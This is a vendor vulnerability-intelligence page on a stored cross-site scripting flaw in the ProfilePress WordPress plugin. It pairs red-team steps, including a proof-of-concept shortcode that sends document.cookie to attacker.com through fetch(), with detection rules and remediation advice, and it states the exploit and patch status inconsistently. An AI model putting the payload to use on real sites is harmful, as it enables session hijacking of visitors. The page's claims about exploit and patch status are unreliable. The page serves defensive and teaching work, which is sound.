☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1535

CVE-2024-1535 Cross-Site Scripting in Profilepress
📅 PUBLISHED: 2024-03-13 15:26 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.28%
👁️
0.28% probability
6.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1535 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress WordPress plugin (versions ≤ 4.15.2). The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin’s shortcodes. Authenticated attackers with at least contributor-level permissions can inject arbitrary web scripts that execute when any user visits the compromised page. This can lead to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code exists, but the attack vector is straightforward for authenticated users.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress ecosystem via the ProfilePress plugin. Since ProfilePress is distributed through the official WordPress plugin repository, any site running version 4.15.2 or earlier is at risk. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin’s update mechanism is the primary supply chain vector. Administrators should monitor for patched versions and consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (authenticated, low complexity) and the potential for widespread impact on WordPress sites make this a significant concern for affected installations.

Deep Dive & Mechanics

The vulnerability exists in the ProfilePress plugin’s shortcode handling. The plugin registers multiple shortcodes (e.g., [profilepress-login], [profilepress-registration], [profilepress-member-directory]) that accept user-supplied attributes. Due to insufficient input sanitization and output escaping, an attacker with contributor-level access can inject malicious JavaScript into these attributes. When the shortcode is rendered on a page, the injected script executes in the context of any visitor’s browser.

Root Cause: The plugin fails to properly escape HTML entities in shortcode attributes before outputting them. For example, an attribute like class="my-class" is not sanitized, allowing an attacker to inject onclick or other event handlers.

Attack Flow:

  1. Attacker logs in with contributor-level privileges.
  2. Attacker creates or edits a post/page and inserts a vulnerable ProfilePress shortcode.
  3. Attacker adds a malicious attribute, e.g., [profilepress-login class="x" onclick="alert('XSS')"].
  4. When the page is saved and viewed by any user, the injected script executes.

Vulnerable vs. Patched Code

Vulnerable Code (≤ 4.15.2): The plugin likely uses echo $attribute or esc_attr() incorrectly. A typical vulnerable pattern:

echo '<div class="' . $atts['class'] . '">';

This directly outputs user input without proper escaping.

Patched Code (Hypothetical): A fix would involve using esc_attr() or wp_kses() to sanitize attributes:

echo '<div class="' . esc_attr($atts['class']) . '">';

Additionally, shortcode attributes should be validated against a whitelist of allowed values.

Exploitation & Lab Setup

Red Team

Since no public exploit exists, a manual approach is required:

  1. Prerequisites: WordPress site with ProfilePress ≤ 4.15.2, contributor-level account.
  2. Steps:
    • Log in as contributor.
    • Create a new post.
    • Insert a shortcode like [profilepress-login class="test" onclick="alert(document.cookie)"].
    • Publish the post.
    • Visit the post as any user to trigger the XSS.

Proof-of-Concept (PoC):

[profilepress-login class="x" onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team

  • Detection: Monitor for posts containing suspicious shortcode attributes (e.g., onclick, onerror, javascript:).
  • Prevention: Restrict contributor-level permissions; use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
  • Hunting: Search database for posts with [profilepress- shortcodes containing event handlers.

Indicators of Compromise (IOCs)

  • File System: Modified plugin files (unlikely, as this is a stored XSS).
  • Database: Posts/pages containing shortcodes with malicious attributes (e.g., onclick, onerror, javascript:).
  • Network: Outbound requests to attacker-controlled domains from compromised pages (if payload exfiltrates data).
  • Logs: WordPress audit logs showing post creation/editing by contributor-level users with unusual shortcode attributes.

Detection Engineering

YARA Rule

rule CVE_2024_1535_ProfilePress_XSS {
    meta:
        description = "Detects stored XSS payloads in ProfilePress shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1535"
    strings:
        $shortcode = /\[profilepress-[a-z-]+\s+[^\]]*?(on\w+|javascript:)/i
    condition:
        $shortcode
}

Sigma Rule

title: ProfilePress Stored XSS via Shortcode Attributes
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious shortcode attributes in ProfilePress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains:
            - '[profilepress-'
        post_content|re: 'on\w+\s*=|javascript:'
    condition: selection
falsepositives:
    - Legitimate use of event handlers in shortcodes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1535 ProfilePress Stored XSS Attempt"; flow:to_server,established; content:"[profilepress-"; nocase; pcre:"/\[profilepress-[a-z-]+\s+[^\]]*?(on\w+|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ProfilePress plugin until a patched version is released.
  2. Restrict contributor-level permissions to trusted users only.
  3. Use a WAF to block XSS payloads in shortcode attributes (e.g., block on*= patterns).

Long-Term Fix:

  • Monitor the plugin’s official repository for updates. If no patch is forthcoming, consider replacing ProfilePress with an alternative plugin.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workaround:

  • Manually patch the plugin by adding esc_attr() to shortcode attribute outputs in the plugin’s PHP files (requires developer expertise).

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ProfilePress"
http.html:"wp-content/plugins/wp-user-avatar"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1535/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.